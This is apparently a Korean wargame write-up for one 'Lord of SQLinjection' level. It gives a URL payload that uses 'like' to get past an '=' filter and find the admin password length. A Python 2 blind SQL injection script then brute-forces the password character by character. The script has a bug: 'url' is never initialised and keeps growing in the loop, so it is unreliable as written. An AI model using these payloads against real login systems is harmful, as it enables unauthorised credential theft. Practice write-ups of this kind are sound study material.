인젝션을 통해 admin의 비밀번호를 알아내어 pw에 넣으면 풀리는 문제다. =이 필터에 걸려 있기 때문에 like를 사용하여 풀 수 있다.

먼저 비밀번호의 길이를 구해야 한다. 비밀번호의 길이는 아래와 같이 구했다.

1
?pw=1%27||ascii(id)-103%26%26length(pw)%20like%20%278
pw가 8자리라는 것을 알았다. 이젠 blind sql injection을 통해 비밀번호를 따면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import urllib, urllib2
 
flag = ""
for i in range(1,9):
        for j in range(33, 128):
                url += "pw=1%27||ascii(id)-103%26%26ascii(mid(pw,{},1))%20like%20%27{}".format(i, j)
                print url
                req = urllib2.Request(url)
                req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11')
                req.add_header('Cookie','__cfduid=d4cc8c809fqewr27de6749e5eaa6r3e1f1500957474; PHPSESSID=498O4fb9opfr78vauqu88eq611')
 
                res = urllib2.urlopen(req).read()
 
                if "Hello admin" in res:
                        print "[+] Find! : " + chr(j)
                        flag += chr(j)
                        break
print "[+] Find Flag! : " + flag


'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection bugbear  (0) 2017.08.02
Lord of SQLinjection darkknight  (0) 2017.07.30
Lord of SQLinjection skeleton  (0) 2017.07.30
Lord of SQLinjection vampire  (0) 2017.07.25
Lord of SQLinjection Troll  (0) 2017.07.25

+ Recent posts